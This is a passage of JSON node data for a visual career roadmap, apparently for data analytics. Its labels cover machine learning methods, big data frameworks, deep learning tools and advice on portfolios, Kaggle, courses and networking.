     },\n      \"positionAbsolute\": {\n        \"x\": -723.8814218617622,\n        \"y\": 1818.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h2xF5bZeUByDgsAi4dga2\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"K-Means Clustering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ofOQKAIu4rezWmgZeE-KT\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1871.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1871.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7ikA373qH88HBx5irCgIH\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Model Evaluation Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fwwve0j-KDfc605IIgmil\"\n      },\n      \"position\": {\n        \"x\": -453.821810236714,\n        \"y\": 1639.270762802686\n      },\n      \"width\": 272,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -453.821810236714,\n        \"y\": 1639.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"_aUQZWUhFRvNu0MZ8CPit\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1725.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Big Data Technologies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1725.9045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m1IfG2sEedUxMXrv_B8GW\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Big Data Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iTmtpXe7dR4XKslgpsk2q\"\n      },\n      \"position\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1814.270762802686\n      },\n      \"width\": 260,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1814.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SStzU_iXSvI_9QWbvGNou\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"KNN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FntL9E2yVAYwIrlANDNKE\"\n      },\n      \"position\": {\n        \"x\": -561.8814218617622,\n        \"y\": 1818.270762802686\n      },\n      \"width\": 71,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -561.8814218617622,\n        \"y\": 1818.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ofOQKAIu4rezWmgZeE-KT\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Logistic Regression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fwwve0j-KDfc605IIgmil\"\n      },\n      \"position\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1925.270762802686\n      },\n      \"width\": 233,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -722.3814218617622,\n        \"y\": 1925.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fwwve0j-KDfc605IIgmil\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Parallel Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FIYCkGXofKMsXmsqHSMh9\"\n      },\n      \"position\": {\n        \"x\": 82.61857813823781,\n        \"y\": 2083.5075991775\n      },\n      \"width\": 259,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.61857813823781,\n        \"y\": 2083.5075991775\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uEn7siAHnnYEzU2CJItvo\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 82.49718479195076,\n        \"y\": 1921.2505657648564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Processing Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 13,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yOEspbP24pJctynHMd0eL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 82.49718479195076,\n        \"y\": 1921.2505657648564\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wECWIRMlWNoTxz5eKwaSf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Hadoop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fqCAH4Enc4AAJHoSkk2Pe\"\n      },\n      \"position\": {\n        \"x\": 82.07457800662047,\n        \"y\": 1974.2505657648564\n      },\n      \"width\": 128,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.07457800662047,\n        \"y\": 1974.2505657648564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vaiigToDh4522rtWamuSM\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eAM9orCNwzqh34uvGBVm8\"\n      },\n      \"position\": {\n        \"x\": 215.49718479195076,\n        \"y\": 1974.2505657648564\n      },\n      \"width\": 125,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.49718479195076,\n        \"y\": 1974.2505657648564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yOEspbP24pJctynHMd0eL\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2029.2505657648562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Processing Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2029.2505657648562\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fqCAH4Enc4AAJHoSkk2Pe\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"MPI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eAM9orCNwzqh34uvGBVm8\"\n      },\n      \"position\": {\n        \"x\": 82.07457800662047,\n        \"y\": 2136.5075991775\n      },\n      \"width\": 104,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.07457800662047,\n        \"y\": 2136.5075991775\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eAM9orCNwzqh34uvGBVm8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"MapReduce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fwwve0j-KDfc605IIgmil\"\n      },\n      \"position\": {\n        \"x\": 188.49718479195076,\n        \"y\": 2136.5075991775\n      },\n      \"width\": 152,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 188.49718479195076,\n        \"y\": 2136.5075991775\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 274,\n      \"height\": 49,\n      \"id\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2015.2505657648562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deep Learning (Optional)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NVSQ4OtmvRp7p4cOEvKh7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2015.2505657648562\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"29NGSuCu_LZ2DhGNwq4UE\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 1934.2505657648562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uEn7siAHnnYEzU2CJItvo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 1934.2505657648562\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gGHsKcS92StK5FolzmVvm\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Neural Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LJSqfz6aYJbCe_bK8EWI1\"\n      },\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 1881.2505657648564\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 1881.2505657648564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XlCv2OirEfuBFa4ranyyE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"CNNs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Gocm98_tRg5BGxKcP-7zg\"\n      },\n      \"position\": {\n        \"x\": -432.5,\n        \"y\": 1828.2505657648564\n      },\n      \"width\": 132,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -432.5,\n        \"y\": 1828.2505657648564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gocm98_tRg5BGxKcP-7zg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"RNN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LJSqfz6aYJbCe_bK8EWI1\"\n      },\n      \"position\": {\n        \"x\": -297.8814218617622,\n        \"y\": 1828.2505657648564\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -297.8814218617622,\n        \"y\": 1828.2505657648564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NhmKafQe87sR8hqPBWszq\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2015.2505657648562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"owMhaho3OruAkPEVjfIk1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2015.2505657648562\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FJ4Sx477FWxyDsQr0R8rl\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Tensorflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DFv-eiYDicF4cA4jgVk9_\"\n      },\n      \"position\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2068.250565764856\n      },\n      \"width\": 214,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2068.250565764856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LJSqfz6aYJbCe_bK8EWI1\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pytorch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wECWIRMlWNoTxz5eKwaSf\"\n      },\n      \"position\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2122.250565764856\n      },\n      \"width\": 214,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -720.8814218617622,\n        \"y\": 2122.250565764856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"owMhaho3OruAkPEVjfIk1\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2097.250565764856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Practice Training Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 12,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"29NGSuCu_LZ2DhGNwq4UE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2097.250565764856\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bHPJ6yOHtUq5EjJBSrJUE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Image Recognition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DFv-eiYDicF4cA4jgVk9_\"\n      },\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2150.250565764856\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2150.250565764856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DFv-eiYDicF4cA4jgVk9_\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Natural Language Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LJSqfz6aYJbCe_bK8EWI1\"\n      },\n      \"position\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2203.250565764856\n      },\n      \"width\": 274,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -434.3814218617622,\n        \"y\": 2203.250565764856\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"reuRSWs_FOllfoRJKaz2A\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2303.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Build a portfolio of projects. Some example projects:\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0400FF\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"dOrnsftQKhJAmOmsSzDI0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 431,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2303.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 431,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"2D6mKlVuB6sFGfxzZLNOg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2334.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"1) Predicting sales trends 2) Customer Segmentation.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"xD1ipJ0fjNmNs9bENzkIo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 432,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2334.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 432\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 432,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"GcJGq4OPx-NqIDIoSJgIy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.6069342680164,\n        \"y\": 2378.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Participate in Kaggle Competitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0400FF\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"dOrnsftQKhJAmOmsSzDI0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 382,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.6069342680164,\n        \"y\": 2378.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 382\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 382,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"rn8NylkALsvBT7qDJTEIs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.6069342680164,\n        \"y\": 2409.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Participate in competitions and learn from community\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"l4Dw_u91dR92hHQCbA848\"\n      },\n      \"zIndex\": 999,\n      \"width\": 439,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.6069342680164,\n        \"y\": 2409.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 439\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 439,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"RFTRCQ99DNPcTLPgTBFEi\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2452.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Online Courses and Certifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#0400ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"dOrnsftQKhJAmOmsSzDI0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 369,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2452.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 369\n      },\n      \"measured\": {\n        \"width\": 369,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"E5Pp9prCfmhWfuiPka4cF\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2483.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platforms like Coursera, edX, Udemy and Datacamp offer courses in Data Analytics and related topics.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"l4Dw_u91dR92hHQCbA848\"\n      },\n      \"zIndex\": 999,\n      \"width\": 424,\n      \"height\": 55,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -697.4287445047304,\n        \"y\": 2483.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 424,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 424,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"dOrnsftQKhJAmOmsSzDI0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -698.4287445047304,\n        \"y\": 2548.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stay Updated and Network\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#5900ff\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"xD1ipJ0fjNmNs9bENzkIo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 372,\n      \"height\": 30,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -698.4287445047304,\n        \"y\": 2548.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 372\n      },\n      \"measured\": {\n        \"width\": 372,\n        \"height\": 30\n      }\n    },\n    {\n      \"id\": \"l4Dw_u91dR92hHQCbA848\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -698.4287445047304,\n        \"y\": 2580.9191362257843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Join networking events, communities, seek mentorship, attend webinars and engage in discussions to expand your network.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 0\n        },\n        \"oldId\": \"2D6mKlVuB6sFGfxzZLNOg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 437,\n      \"height\": 80,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -698.4287445047304,\n        \"y\": 2580.9191362257843\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 437\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 437,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": 